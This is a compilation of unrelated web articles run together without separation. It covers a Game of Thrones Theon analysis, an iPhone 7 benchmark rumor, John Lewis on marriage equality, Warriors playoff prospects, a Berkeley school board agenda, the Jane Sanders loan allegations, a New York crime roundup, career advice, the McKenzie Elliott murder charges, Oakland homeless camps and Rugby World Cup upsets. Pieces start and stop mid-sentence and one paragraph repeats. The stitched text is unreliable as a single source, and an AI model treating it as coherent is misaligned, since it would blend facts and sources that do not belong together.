I highly doubt this was ever possible, given what we learn in this chapter and Balon’s temperment and character. But let’s say that Balon gets hit on the head shortly before meeting Theon Greyjoy and suffers a sudden reversal of personality. Well, I think much of what Theon says comes to pass – shortly after Robb Stark’s victory at Oxcross, Lannisport falls from a combined sea- and land-attack, and Casterly Rock is put under siege. I’m of the opinion that, barring a bit of deus ex machina from GRRM as happens with Winterfell, Casterly Rock will hold out for an extended period of time, but it doesn’t need to fall to have a political impact. With Lannisport sacked and Casterly Rock under siege, Tywin’s impetus to cross the Red Fork increases dramatically, as does the pressure on his own political coalition. That might be enough to keep Tywin trying to cross just one more day, and prevent him from linking up with the Tyrells. Alternatively, if the news reaches Highgarden that the Lannisters have just lost their major port city and are in danger of losing the capitol of the Westerlands, I think the Tyrells think twice about allying with them. Especially since in this scenario, rather than facing an invasion of the North, Robb Stark can now look forward to the next phase of the war with 10-15,000 Ironborn allies and another 18,000 Northern soldiers who can now march south through Moat Cailin to help end the war once and for all. Theon warns Robb? This is something that the T.V show raised much more than the books, but it’s an interesting possibility that ought to be discussed. If Theon sends a letter to Robb warning of the Ironborn invasion, a couple critical things change: firstly, Theon is likely to spend the war a prisoner in Pyke if his treason is discovered, and that may be his best outcome. However, he’s highly unlikely to engineer the attack on Winterfell, which means that the North eventually rallies to push out the Ironborn with their superior numbers, Robb Stark doesn’t suffer a massive loss of prestige that forces him to abandon his southern campaign, possibly Roose Bolton thinks twice about the Red Wedding, Catelyn definitely doesn’t set Jaime free. Possibly Robb Stark trades Jaime to Tywin for peace and calls it quits; possibly he just hangs on long enough for the deaths of Balon, Joffrey, and Tywin to destabilize his enemies and squeaks through.
? This is something that the T.V show raised much more than the books, but it’s an interesting possibility that ought to be discussed. If Theon sends a letter to Robb warning of the Ironborn invasion, a couple critical things change: firstly, Theon is likely to spend the war a prisoner in Pyke if his treason is discovered, and that may be his best outcome. However, he’s highly unlikely to engineer the attack on Winterfell, which means that the North eventually rallies to push out the Ironborn with their superior numbers, Robb Stark doesn’t suffer a massive loss of prestige that forces him to abandon his southern campaign, possibly Roose Bolton thinks twice about the Red Wedding, Catelyn definitely doesn’t set Jaime free. Possibly Robb Stark trades Jaime to Tywin for peace and calls it quits; possibly he just hangs on long enough for the deaths of Balon, Joffrey, and Tywin to destabilize his enemies and squeaks through. Theon never goes? As I’ve suggested earlier and I think demonstrated here, given Balon’s preparations, the likely outcome of Theon’s offer being sent by a different courier is that Balon Greyjoy attacks the North, Robb Stark is forced to execute his best friend (which has to top even the Rickard Karstark beheading for an unpleasant task for the young king), and then the gradual expulsion of the Ironborn from the North.
Book vs. Show:
I have many complaints about Season 2. Theon’s storyline is not one of them. With a few minor exceptions, Season 2 saw a near-perfect execution of Theon’s A Clash of Kings storyline, anchored by a revelatory performance from Alfie Allen. While the excision of Aeron Damphair is regrettable, and might possibly cause some issues in Season 5, Theon’s arrival in Pyke and his complete humiliation in front of his father (played by an always-excellent Patrick Malahide) is about as perfect as you get. And besides, this was just damn beautiful:
AdvertisementsWe have seen an alleged screenshot of a GeekBench report before for the iPhone 7 but that one turned out to be fake. Ahead of the official unveiling on Wednesday, another set of purported GeekBench results for iPhone 7 has surfaced although this one is a bit more convincing.
The results suggest a significant performance boost associated with the new Apple A10 chip in the iPhone 7, with a headline score of 3379 for single-core and 5495 for multi-core. This is about 35% higher than what a typical iPhone 6s unit reports.
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The GeekBench report identifies the device as an iPhone9,3 – suggesting at least 3 different variants of the device. There is no iPhone 8,3 corresponding to an existing generation iPhone; the existing lineup has model identifiers iPhone8,1 and iPhone8,2 for the iPhone 6s and iPhone 6s Plus, respectively.
Synthesising other rumors, this GeekBench reports 2 GB RAM. This suggests the iPhone in question here is a 4.7 inch model; it has been reported by many sources that the 5.5 inch iPhone 7 will be getting a RAM bump to 3 GB as it is necessitated by the dual camera advanced image processing software.
The clockspeed in the iPhone 7 GeekBench is low, under 400 MHz. This made us a little skeptical about the results’ legitimacy but a conversation with a GeekBench engineer indicates this is not necessarily abnormal. iOS does not report such statistics directly so the benchmarking app has to guess and these guesses can be wrong. KGI analysts believe the A10 will have a maximum clock speed of 2.4 GHz.
Assuming it is real, it is also interesting to note that the iPhone 7 under study appears to be running iOS 10.1 — a future version of iOS not yet seeded to developers. As always, it’s worth remembering that benchmarks are synthetic test environments and do not represent real-world performance.
Just because the test scores are 35% higher does not mean the iPhone 7 will always (or ever) be 35% faster in daily use. iPhones are so powerful very few tasks take any time at all in normal usage; most things happen instantly.
GeekBench also only stresses the CPU and memory throughput of a mobile SoC: these results do not say anything about the performance deltas of the Apple A10’s GPU. That being said, Apple loves to ramp the power of its GPUs so we expect the iPhone 7 to post impressive scores on this axes too … when it is official.
Nevertheless, the iPhone 7 will still be a very impressive and powerful phone. Brand new top of the range Android devices still fail to beat the iPhone 6s on single-core performance … so the iPhone 7 is likely to be at the top of the tree for some time yet.
All of this just increases the hype ahead of the actual iPhone 7 announcement on Wednesday. Stay tuned to 9to5Mac for coverage of all the announcements.Georgia Rep. John Lewis on Sunday reiterated that he sees the movement to legalize gay marriage as a civil rights issue.
Appearing in a nearly 2-minute video for Freedom to Marry, the 74-year-old Lewis, the only living “big six” leader of the American Civil Rights Movement, compared the civil rights movement to today's fight for marriage equality.
“I fought too hard and too long against discrimination based on race and color not to stand up and speak up against discrimination against our gay and lesbian brothers and sisters,” Lewis says in the clip. “I see the right to marriage as a civil rights issue. You cannot have rights for one segment of the population, or one group of people, and not for everybody. Civil rights and equal rights must be for all of God's children.”
The ad is part of a $1 million multi-state campaign to build majority support for marriage equality in the South. The campaign, titled Southerners for the Freedom to Marry, includes co-chairs representing 13 southern states.
Lewis also said in the ad that he saw marriage equality as a step toward completing Martin Luther King Jr.'s “beloved community.”
“I look forward to the day, not just in the state of Georgia, but all across the American South and all across our country, when the question of being free to fall in love and marry whoever you please will no longer be an issue. And that day will come. It will come in America. In our lifetime.” (The video is embedded on this page. Visit our video library for more videos.)
Evan Wolfson, founder and president of Freedom to Marry, said the campaign comes “at a pivotal time in the marriage movement.”
“The South is home to hundreds of thousands of loving, committed same-sex couples – and to a majority of the nearly 50 federal marriage cases now underway in courts across the country. Our new campaign will give voice to the many in the region now ready to move forward, including clergy, business leaders, conservatives, and family members, to show that all of America is ready for the freedom to marry,” Wolfson said in an emailed statement.Noah Graham/Getty Images
It's been decades since the Golden State Warriors found themselves atop the basketball world, crowned champions of the 1974-75 NBA season.
But the Warriors' rapid rise could get a bit dicey. For as long and hard as they've fought to scale the NBA's Wild West, they could be climbing the ranks at the worst possible time.
Make no mistake, this has been a dream-like year for the Dubs. Bolstered by the arrival of Steve Kerr and his heavyweight coaching staff, Golden State has sprinted out to a league-best 33-6 start.
The Warriors sit third in offensive efficiency and first at the other end, per NBA.com. They have demolished their opponents by 13.4 points per 100 possessions. The gap between them and the second-most efficient team (Dallas Mavericks, plus-7.3) is nearly as large as the one separating No. 2 from No. 14 (Oklahoma City Thunder, plus-1.1).
As ESPN Insider Tom Haberstroh pointed out, the NBA hasn't seen dominance like this in years:
"This is more than a pattern now, it's part of potential NBA legend," wrote Tim Kawakami of the San Jose Mercury News. "It's not easy to go through 48 percent of a schedule clocking just about everybody you face, and that's what the Warriors have done so far."
Remember when turnovers threatened to prematurely end Golden State's run? Through Nov. 11, the Warriors were averaging a league-worst 22.1 giveaways per game. But in the two-plus months since, they have sliced that number down to 13.5—tied for the seventh-fewest.
"That was the point where we started to get it," Kerr told the San Francisco Chronicle's Ann Killion, "and the momentum seems to be building."
The coach isn't lying. During Monday's 122-79 dismantling of the Denver Nuggets, the Warriors tallied 30 assists against only 13 miscues. Of those turnovers, just three were committed by Golden State's starters.
Golden State's roster is littered with guys having career years, several of whom could yield the type of individual accolades that had eluded this franchise for so long.
Stephen Curry looks like the MVP front-runner. Klay Thompson should be an All-Star. Draymond Green is Haberstroh's "leader in the clubhouse" for Defensive Player of the Year.
The Dubs have a Sixth Man of the Year candidate—and it isn't either of the two former All-Stars coming off this bench (David Lee and Andre Iguodala). Rather, it's seven-year veteran Marreese Speights and his astronomical per-36-minute averages of 24.2 points and 9.8 rebounds, per Basketball-Reference.
"I think we have the deepest team in the NBA," Kerr said in November, per Antonio Gonzalez of The Associated Press. "Our roster is remarkable. Not only the depth of talent, but the versatility of that talent."
So, what exactly is the Warriors' problem?
In a vacuum, nothing. They are doing exactly what they're supposed to: feasting on bottom-feeders (18-2 against teams below.500) and holding their own against the NBA elites (9-2 against the top six teams from each conference).
Marcio Jose Sanchez/Associated Press
But the NBA doesn't operate in a vacuum. While teams can only be expected to control what happens in-house, they're still affected by external forces.
An overloaded Western Conference presents a unique set of challenges for this 40-years-in-the-making contender.
Checking the current standings, Golden State's playoff ride would include matchups with the Phoenix Suns, Houston Rockets-Dallas Mavericks winner and one of the following four teams: Portland Trail Blazers, Memphis Grizzlies, Los Angeles Clippers and San Antonio Spurs.
That's a pretty treacherous trail. There are potential slip-ups at every stop, explosive offenses capable of sending the scoreboard into a frenzy and dominant defenses that can keep it from moving at all.
But it's par for the course in the NBA's better half, right? San Antonio's road to the 2014 Finals included meetings with the Mavericks, Blazers and Thunder. Golden State's current path looks no more precarious than San Antonio's was.
The problem is these positions are fluid. And judging by some recent activity, the Warriors' postseason route could grow exponentially more problematic over the coming months.
The finally healthy Thunder have been shooting up the standings since Kevin Durant and Russell Westbrook shook off their earlier injuries. At 21-20, OKC is sitting above.500 for the first time this season, thanks to an 8-4 stretch over its last 12 games.
And the Warriors know all too well just how good this team can be, having suffered a 127-115 defeat at the hands of the Thunder on Jan. 16. During that contest, OKC got 36 points on 18 shots from Durant, a triple-double out of Westbrook and another 48 points from Serge Ibaka and Dion Waiters.
Granted, Golden State rested both Iguodala and Andrew Bogut that night, but the deepest team in basketball is supposed to survive those types of absences. What makes that loss even more ominous is that the Warriors actually played well—the Thunder just played better.
"We had a lot of breakdowns, but when it's all said and done, they were knocking down shots," Green said, per Bay Area News Group's Diamond Leung. "That's tough to guard."
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It's also not an anomaly. Fueled by arguably the best one-two punch in the game, the Thunder are capable of producing similarly incendiary outbursts on any given night.
In other words, there was nothing special about that win on OKC's end.
"The real Thunder team showed up," Durant said afterward, per ESPN.com's Royce Young.
The Thunder have had a winning percentage above.700 each of the last three seasons. In the 18 games Durant and Westbrook have played together in 2014-15, OKC has kept rolling at a similar clip (13-5,.722 winning percentage).
At full strength, this could still be a banner-raising powerhouse. And it's only three games back of the eighth-seeded Suns, or three games away from being Golden State's nightmarish first-round opponent.
"The Thunder are unlike any lower seed we've seen before," wrote Bleacher Report's Dave Leonardis. "They have the talent and depth to be a legitimate championship contender. When's the last time you could say that about a team at the bottom of the playoff tree?"
Assuming the Warriors sneak out of that brutal first-round pairing, guess where they could be headed next: the Alamo City, home of the hard-charging Spurs, who are only 2.5 games back of the No. 5 seed. With reigning Finals MVP Kawhi Leonard back in the lineup, San Antonio's surging momentum may only increase going forward.
The Spurs are a brutal draw for any team, but they have been a nearly impossible puzzle for the Warriors to solve. Golden State dropped a 13-point home loss to San Antonio in their only meeting this season, lost all four matchups with the eventual champs in 2013-14 and suffered a six-game series loss when these two squared off in the 2013 Western Conference Semifinals.
San Antonio is a big enough threat that WarriorsWorld's Daniel Leroux even suggested Golden State should consider sliding back to the No. 2 seed if it means moving away from the Spurs' side of the playoff bracket:
"It all boils down to something best articulated in a Reggie Bush Nike commercial: Whose better can be better than Golden State's better?" Leroux explained. "To me, the only teams that can claim a spot on that list in the West are the Spurs and possibly Oklahoma City."
Two teams that Golden State could realistically draw in consecutive rounds to kick off the playoffs. Two potential dream-killers the Warriors could meet before even stepping foot inside the Western Conference Finals.
In a way, this conjures up thoughts of that cliched sports saying: "In order to be the best, you have to beat the best." But I don't remember that phrase ever ending with the words, "in the first two rounds of the postseason."
It's quite possible the "reward" for the best regular-season performance in franchise history will be the NBA's toughest playoff slate.
The Warriors might have enough talent to traverse this precarious path. By any measure, this has been the most dominant team in 2014-15.
But this year will ultimately be measured by playoff success. And Golden State will have to earn any that comes its way.
Unless otherwise noted, statistics used courtesy of Basketball-Reference.com and NBA.com.
Follow @ZachBuckleyNBAThe Berkeley schools Board of Education meets today, Wednesday, March 22. On the agenda: physics for freshmen; Common Core math implementation; a possible bond measure for building teacher housing; a look at “confusing” complaint policies; and more. Read the full agenda.
Here are some of the highlights.
SCIENCE AND MATH CLASS SEQUENCES The Berkeley High School science class sequence could get flipped around in the effort to align the curriculum with the Next Generation Science Standards, new science education guidelines adopted by many states. The proposed sequence has all freshmen taking physics, whereas the small minority of BHS students who currently take the course do so as juniors or seniors. The board might vote on the new course progression Wednesday, paving the way for some freshman physics classes in 2017-18 and full implementation in 2018-19. It could be part of a complete overhaul of the ninth-grade program that year. See item 12.1 for details.
The BHS math program is also being reconfigured, and the board will hear a progress report Wednesday. The new three-year math class sequence is meant to meet Common Core standards, integrating traditional math subjects with a focus on conceptual thinking. The third and final year of the program will be implemented in 2017-18. So far the district has allocated $200,000 for teacher collaboration and preparation time each year as the new math program is developed, but there will be less funding in the budget for Common Core implementation next year. See item 12.2 for details. New math support classes for the middle schools and high school are included in Local Control and Accountability Plan recommendations on the agenda Wednesday as well. See item 14.3 for details.
THE 2017-18 BUDGET The board will look at new budget considerations for the 2017-18 school year. According to a district report, reductions will be necessary. BUSD is looking at a $.5 million structural deficit, due in part to a decline in student enrollment and to increasing personnel costs, according to the district. State reimbursements for mandatory costs have also decreased significantly. Among the most expensive new needs identified in the report are the $550,000 annual BHS ninth-grade redesign cost, funding for two new school buses and $1.1 for Common Core implementation and training — down from a bigger Common Core budget this year and likely to be cut in the coming years. See item 12.3 for details.
TEACHER HOUSING BOND It is not easy to pay Bay Area rent on a teacher’s salary, so some districts desperate to retain their staffs are figuring out how to provide housing themselves. On Wednesday the School Board will discuss the possibility of putting a bond measure on the 2018 ballot to build teacher housing in Berkeley. If BUSD chooses to pursue the bond, feasibility issues, possible locations and teacher demand will have to be considered. See item 12.4 for details.
COMPLAINT POLICIES The processes for filing or appealing a complaint with BUSD could use some streamlining, according to district staff. “The District recognizes that there are overlaps and inconsistencies regarding the complaint policies and procedures that are confusing,” says the item in the agenda packet. The information item will cover the different policies for different types of complaints, such as discrimination or bullying complaints. The district’s new Title IX coordinator, Dana Clark, has been charged with revising the current system. At the last three board meetings, testimonies during public comment have criticized the way the district has handled sexual harassment complaints. See item 14.5 for details.
Meeting details
The Berkeley Unified School District Board of Education generally meets twice monthly on Wednesdays at 2020 Bonar St. The entrance to the board chambers is around the corner on Addison Street. There is a large parking lot around the corner from Addison Street, on Browning Street.
The regular meeting is set to begin by 7:30 p.m. Public comment is limited to 30 minutes, with a 3-minute limit per speaker. Public comment takes place at the beginning and end of the meeting, rather than in response to each item.
Meetings are televised live on Berkeley Community Media channel 33, and rebroadcast the following Thursday at 9 a.m. and Sunday at 2 p.m. Meetings are also recorded for radio and played after the meeting on KPFB 89.3 FM. They are also streamed live, and posted online after the meeting. Other BUSD-related videos are posted on Youtube.
Read more Berkeleyside coverage related to Berkeley schools.Catholic parishioners in Vermont reportedly are seeking a federal probe into whether Bernie Sanders’ wife committed loan fraud when she was president of Burlington College -- by allegedly exaggerating the amount of money the college could raise in order to secure millions for a land deal.
According to a report published Monday morning by Heat Street, the allegations against Jane O’Meara Sanders were laid out in a letter sent by Brady Toensing, vice chair of the Vermont GOP, to the U.S. attorney in January. The claims stem from Sanders’ time as president of Burlington College between 2004 and 2011. Toward the end of her tenure, she secured loans for a $10 million purchase of 32 acres from the Roman Catholic diocese as part of a campus expansion, Heat Street reported.
But according to the report, Sanders at the time claimed the college had more than $2 million in fundraising commitments and pledges. People’s United Bank reportedly extended a $6.7 million tax-exempt loan with this understanding. The diocese reportedly underwrote a nearly $3.7 million loan as well, giving its debt repayment lower priority than the bank’s.
Yet, according to the report, the lofty fundraising pledges did not materialize as planned. According to one local report, the college raised just $279,000 in fiscal 2011. In the end, the diocese reportedly did not receive the full repayment of the loan, losing between $1.6 and $2 million, according to the investigation request.
A spokesperson for Democratic presidential candidate Bernie Sanders earlier this year called these accusations “recycled, discredited garbage,” in a statement to Burlington TV channel WCAX.
Heat Street is a new blog that launched Monday, aiming to “challenge political correctness and'safe space' culture.” It is owned by News Corp.The Bronx
A University Heights man has been charged with murdering his roommate with a baseball bat, law-enforcement sources said Sunday. Cleto Chalche-Rivera, 39, beat the victim to death over a financial dispute, according to a police source. Israel Ramos-Lopez, 45, was found with his head split open in the bathroom of the apartment he shared with Chalche-Rivera on Morris Avenue near Commerce Avenue at about 12:30 p.m. April 13, police sources said. His roommate was arrested at around 8:15 p.m. Saturday, and faces weapons charges in addition to murder, according to police.
Four people were shot Sunday after a Morris Heights party, cops said. The victims were leaving the house party on University Avenue near West Burnside Avenue at about 1:20 a.m. when a man believed to be in his 20s began to shoot at the crowd, according to police sources. A 25-year-old man was shot in the leg, another man, 55, was struck in the torso, and a woman, 22, sustained a leg wound. A 26-year-old man was grazed in the shoulder. The victims took themselves to Lincoln Hospital. No arrests have been made.
Police knocked down the door of a Mott Haven apartment to rescue a woman in a domestic dispute with her boyfriend Sunday, cops said. When officers arrived on the 12th floor of the building on East 137th Street near Willis Avenue at about 7:30 a.m., they heard a woman inside crying and screaming, police sources said. Her boyfriend refused to open the door for the cops, so they smashed their way in and arrested the man, the sources said. The woman and her three children were taken to an area hospital with minor injuries. The boyfriend was also taken to the hospital for evaluation, the sources said. The name of the man has been withheld pending the filing of charges, cops said.
Brooklyn
A man studying in a Sheepshead Bay park was slashed and robbed Sunday morning by a pedaling pilcher, according to cops. The 28-year-old victim was sitting in Yak Playground at Coyle Street and Avenue Y at about 9:30 a.m. when a man on a bike approached him and asked to use his cellphone, according to police. As the victim handed over his phone, cops said, the thug reached into the man’s pocket and grabbed his wallet while proclaiming, “You are beat!” The victim tried grabbing the thief’s bike, but his attacker slashed him in the stomach with a pocket knife, police said. The thug then dropped the man’s wallet and phone and fled with just $10, cops said.
The crook was described as being in his 20s, about 6-foot-2 and 160 pounds.
Queens
An elderly woman was killed when she smashed her car into a pillar in Ozone Park, cops said Sunday. Carmela Ruotolo, 88, crashed her 2000 Hyundai at 7:40 p.m. April 20 at Crossbay Boulevard and Liberty Avenue, according to police. Ruotolo, from Howard Beach, was rushed to Jamaica Hospital, where she died April 24, cops said.
Manhattan
A man was walloped in the head with a bicycle security chain in the West Village, cops said Sunday. An argument escalated into violence at West 13th Street and Washington Avenue at about 1 p.m. April 22, according to law-enforcement sources. Carl Wu, 20, picked up his bicycle lock-chain with the intent to cause physical injury and hit the victim, also 20, in the face, the sources said |
this, maintain your professional relationship with your current supervisor and colleagues. You never want to burn a bridge! Communicate your motivation for change in a clear and concise manner, and be sure to let your colleagues know that your decision is based on your need for professional development. Many supervisors will feel that the decision to move on is personal; it is important to clarify that your motivation is purely professional, and that you appreciate everything that has been done for you.
Once you make the move into a new position, embrace the challenge, and show your gratitude to the others that helped you along the way! Throughout your career, you may encounter others that are dealing with the same feeling. Take time to share your experiences and help others achieve success. They will thank you for it!
by Natalie Lemons
Natalie Lemons is the Founder and President of Resilience Group, LLC, The Resilient Recruiter, and Co-Founder of Need a New Gig. She specializes in the area of Executive Search and services a diverse group of national and international companies, focusing on mid to upper-level management searches in a variety of industries. For more articles like this, follow her blog. Resilient Recruiter is an Amazon Associate.Federal authorities filed charges in the 2014 shooting death of 3-year-old McKenzie Elliott, who was struck by an errant bullet nearly three years ago and captivated the attention of a city besieged by gun violence.
Terrell Plummer, 28, was charged with use of a firearm resulting in death for allegedly firing at rivals and striking McKenzie, who was playing on her porch in the Waverly neighborhood. Six other members of Plummer's North Baltimore gang, Old York Money Gang, were also charged with drug-related offenses.
Outgoing Maryland U.S. Attorney Rod Rosenstein said Baltimore Police and federal agents had worked "tirelessly and creatively" to charge those responsible for the girl's killing.
"These cases do not solve themselves," said Rosenstein, in one of his last acts before heading to Washington to be sworn in as the second-in-command of the Justice Department. "They get solved because of extraordinary work by honorable, decent, diligent law enforcement officers. I believe if we support police officers who are out there working for the community every day, we'll be able to turn the tide on violence in Baltimore City."
Mayor Catherine Pugh hailed the charges as an example of what can happen when local police and federal officials work together to combat crime. She said she has asked for additional federal resources to help police tackle a murder rate that has soared to record levels.
A man has been charged in the 2014 fatal shooting of 3-year-old McKenzie Elliott as part of a broader drug conspiracy case in which he and six others were indicted Wednesday, federal prosecutors said. (Lloyd Fox/Baltimore Sun video) A man has been charged in the 2014 fatal shooting of 3-year-old McKenzie Elliott as part of a broader drug conspiracy case in which he and six others were indicted Wednesday, federal prosecutors said. (Lloyd Fox/Baltimore Sun video) SEE MORE VIDEOS
"It sends a signal to those committing crimes in our communities that you can no longer continue to do this. You will be found. You will be caught," the mayor said.
The indictment alleges Plummer and the other members sold heroin, cocaine and marijuana in "shops" throughout the neighborhood, and attacked outsiders who ventured onto their turf.
The day before McKenzie was shot, authorities say Plummer, Davonte Rich and others jumped three people who had entered their territory, stabbing one of them. The victims returned on Aug. 1, and Plummer fired shots at their vehicle. One person was struck in the head but survived.
McKenzie Elliott, the 3-year-old killed last year when she was struck by a bullet on her front porch, would be four this month, and is be remembered at an event that includes a renaming of a part of the street after her. (Amy Davis, The Baltimore Sun) (Amy Davis, The Baltimore Sun)
McKenzie was on her porch playing when she was struck.
McKenzie's case struck a nerve in Baltimore, and led to outcries in the community about violence and promises of change from city officials.
Within days of her killing, then-Police Commissioner Anthony W. Batts declared the shooter would be caught within a week. At one point, police announced they had a suspect in the shooting in custody — a claim they later had to walk back, when they said the man was "not the person" responsible for her death.
That man, Tyrone Jamison, was among the seven charged Wednesday, though not with shooting McKenzie.
Nearly a year after McKenzie's death, for what would have been her 4th birthday in May 2015, officials gathered to rename her street after her and again call for community tips in her shooting. Then in October 2015, another young girl was struck and wounded by errant gunfire in Waverly.
On Wednesday, Police Commissioner Kevin Davis said McKenzie's death in 2014 "rocked not only the Waverly community, but the entire city of Baltimore."
"It's never been a cold case... this city remembers. Law enforcement remembers. The BPD remembers McKenzie Elliott, we always will, and we're just really proud to stand here today and make this announcement," Davis said.
Daniel L. Board Jr., Baltimore chief of the Bureau of Alcohol, Tobacco, Firearms and Explosives, said agents were pleased to help solve the case. But he lamented a lack of tips from the community.
"McKenzie's homicide should not have gone unsolved for that long," Board said. "If we could've gotten more help from the public, more help from the community, even small bits of information, that's the kind of help we need in the law enforcement fight against violent crime."
Officials would not discuss how they advanced the case to bring charges, but court papers outlined a series of undercover drug purchases by police starting in October 2016 and continuing through April 13.
Rosenstein also said it's typical for federal prosecutors to pressure defendants facing steep prison sentences to cooperate in exchange for reduced sentences.
Rosenstein, who spent 12 years as the top federal prosecutor for Maryland, met with McKenzie's mother Nina Epps to inform her of the charges. He said he had been inspired after seeing her in news accounts asking for justice for her daughter.
At Wednesday's news conference, Rosenstein stood next to a poster board with a picture of McKenzie. He said he planned to take the poster with him to Washington in the afternoon before his swearing in as deputy attorney general, and bring it to a meeting with Attorney General Jeff Sessions. Sessions has pledged to take on violent crime and has expressed misgivings about federal oversight of police departments, such as the consent decree entered against the Baltimore Police Department.
"I'm going to talk with him about the extraordinary work being done by our front line officers in Baltimore City," Rosenstein said.
Pugh said she's requested additional FBI help – both in manpower and equipment – to fight Baltimore's surging murder rate. She said she expected to have an announcement about more federal assistance next week.
"We're grateful to the federal intervention in the city of Baltimore," Pugh said. "We are looking for all the help we can get. Murder is out of control. There are too many guns on the streets. Domestic violence is increasing in our city. We have asked for federal help."
Pugh declined to provide specifics about what she's requested from the FBI, but said it would involve more agents and better technology.
"Being able to close cases like this is good for the city, but we want to get beyond closing cases. We need to get the murder rate down," Pugh said.
Plummer could not be reached for comment. Recent court records in another criminal case in the city list Plummer's address as being in the 700 block of McKewin Ave., the same short street that city officials renamed the first block of "McKenzie Elliott Way."
Prosecutors identified the other six men indicted in the drug case as Davonte Rich, 22; Trevon Beasley, 23; Tyrone Jamison, 23; Davin Lawson, 25; Calvin Watson, 26; and Tyron Brown, 26. None had attorneys listed in court records.
Late Wednesday morning, Carolyn Williams, 70, sat on her own porch, across the street and in view of the porch where McKenzie was shot.While San Franciscans argue over how much warning the city should give to homeless people before clearing tent encampments, Oakland is trying another strategy entirely: Keep the camps in place for weeks or months and make them move livable.
The idea is to provide basics such as trash cans, portable toilets and regular cleanup services while the city tries to devise a long-term shelter program before shutting down the camps for good.
“We’re working on a theory of change, and we don’t know if it’s going to work,” said City Council President Lynette Gibson McElhaney, who devised the new “Compassionate Communities” program with Alameda County Supervisor Keith Carson. “But the fact is, these folks are human beings, and this is about human dignity.”
However, the program provoked an instant backlash from neighbors when the city tried its first test-run Monday, at a sprawling encampment in West Oakland where several dozen people are living under an on-ramp to Interstate 580. Residents and merchants already infuriated by the camp grew even more angry when city workers began power-washing the area, installing toilets and putting up concrete barriers to block off traffic.
To some, it looked like Oakland officials had given up trying to shoo away the homeless, deciding instead to use taxpayer money to create permanent outdoor settlements. In June, Oakland set aside $190,000 for this fiscal year to bring services to the camps and fund the Compassionate Communities program, but critics of the plan say that money should be spent on housing.
“My tax dollars should not be paying to put people out here and treat them like animals,” said Michael Engle, who lives nearby and was among the people shouting obscenities at McElhaney and several city administrators who gathered at the camp Monday.
Engle pointed to a pile of human feces on the roadway.
“If I lived next door to this camp, I’d mail that to the city,” he said. “And I’d say, ‘Here are my taxes.’”
Others, including Debra Buckley, who owns an art studio one block from the camp, complained that they’ve lost business because customers recoil at the sight of trash and excrement on the sidewalk.
Adding garbage cans and bathrooms won’t help, Buckley insisted. She said such amenities will only encourage people to stay in the camps longer and draw homeless people from other cities into Oakland.
“Everybody comes here, and now more will come,” Buckley yelled as McElhaney talked up the benefits of the program to a reporter. The camp is in McElhaney’s district, as well as in the district that Carson represents on the Board of Supervisors.
Some city workers shared Buckley’s concern that their new sanitation services will make the camps more attractive.
“Yes, it’s a concern for me — my goal would be to shrink this,” said Sara Bedford, Oakland’s director of human services.
But Bedford also said it’s Oakland’s duty to provide some form of humanitarian aid for people living in the camps.
San Francisco has similarly struggled with the spread of tent encampments under freeways and into business districts. A measure on the Nov. 8 ballot would allow police to clear out encampments with 24 hours’ notice while offering homeless people a shelter spot — although San Francisco’s 1,300 nightly shelter beds are invariably taken.
Oakland’s shelter situation is similar. The most recent one-night homeless census, taken in January 2015, found 1,400 people sleeping outside. The city has just 350 shelter beds — 450 when the St. Vincent de Paul Community Center opens its doors to the homeless during winter — and they’re full nearly every night.
Mayor Libby Schaaf touted the city’s new approach to homeless encampments at a recent Chronicle editorial board meeting.
“We can’t wait until someone comes with a silver bullet to solve this,” Schaaf said. “It’s starting to look like San Francisco.”
For the past few years, Oakland has taken a catch-as-catch-can approach to homelessness, clearing out camps when neighbors complain, only to see them pop back up, McElhaney said.
She said that type of urban triage doesn’t satisfy anyone, and it doesn’t solve the larger sanitation and safety issues.
“The way the city is currently trying to address this leaves both the sheltered and the unsheltered residents frustrated and not served well,” McElhaney said.
City officials hope to close the West Oakland camp by the end of March, assuming they can find transitional housing for its inhabitants. Bedford is confident that Oakland will find creative ways to accommodate everyone, perhaps by partnering with Alameda County and Emeryville.
If there aren’t enough beds, she said, the city might consider opening a sanctioned encampment on a vacant lot.
Some campers said they would welcome the opportunity to move on.
“We’re not really trying to be here forever,” said Denine Houston-Murphy, who has lived in the camp for about six months. “We’re out in the open where anyone can come by at any given time.”
But another camper, Gene Jackson, said he was wary of working with the city.
“I’m worried they’ll come over here, say they’re offering housing, and then come up with some other rule,” Jackson said.
And, Jackson said, if the city shuts down this camp and moves on to the next one, officials will find themselves grappling with a new set of problems. Many of Oakland’s homeless are drug addicts or people with mental illness who need treatment. Others are formerly incarcerated felons who say they have been shut out of the workforce. Unlike San Francisco, Oakland has a very small supportive-housing network and few job-training programs to help such people.
McElhaney pleads that Oakland can’t solve the underlying causes of homelessness in six months. And the Compassionate Communities program is still an experiment, she said Monday, trying to fend off angry neighbors as the homeless campers silently watched.
“I don’t know if it’s going to work,” McElhaney said. “But I do know that in 3½ years of being on this council, business as usual hasn’t worked, either. It’s left you with this rage.”
Rachel Swan is a San Francisco Chronicle staff writer. Email: [email protected]
Twitter: @rachelswanThe seventh edition of the Rugby World Cup has been given a timely shot in the arm by the early performances of the so-called minnows of the sport.
Tonga got it going by man-handling the All Blacks pack for a 15-minute period in the second half of Friday’s opening match at Auckland’s Eden Park.
Then Romania, Namibia and Japan all punched well above their weight in Saturday’s action before losing late to, respectively, Scotland, Fiji and France.
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It was all enough to put a smile on the faces of rugby’s officials who have been panned in the past for allowing the smaller nations into their showpiece event only for them to be torn apart.
Examples of this were Australia’s 142-0 hammering of Namibia in 2003 and New Zealand’s 145-17 shellacking of Japan in 1995.
It was a very different story on Saturday as Japan badly rattled fourth-ranked France before losing 47-21 and Namibia held their own for most of the match against Fiji before going down 49-25.
Japan even got to within four points of France approaching the 60-minute mark and came close to scoring a go-ahead try.
New Zealand-born coach John Kirwin said that the earthquake and tsunami that rocked Japan in March had made his players all the more determined to leave their mark on the tournament.
“It was important for us to play well and show the world that we are a very competent football team, that we could phases together and we could attack and defend for long periods of time,” he said.
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“We’ve been working very hard to come to this World Cup and it was really pleasing that we stayed under the radar and tonight’s about exploding on to the scene and making sure we play to our level.
“That will help us tonight. We’ll take confidence out of that, we’ll study the game tonight and we will be disappointed tomorrow because there were times when we could have done a lot more.”
The Japanese effort brought fullsome praise from the French skipper Thierry Dusautoir.
“They played a beautiful rugby, a dynamic rugby. The public loved them and they gave us a hard time. We can only congratulate them,” he said.
Namibia led early against Fiji, who reached the quarter-finals four years ago and even gave eventual winners South Africa a good run for their money.
The Pacific Islanders fleetness of foot, however, eventually proved too much for the south Africans to handle.
The nearest to pulling off an upset turned out to be Romania who led Scotland with six minutes to go before two Simon Danielli tries turned the tide.
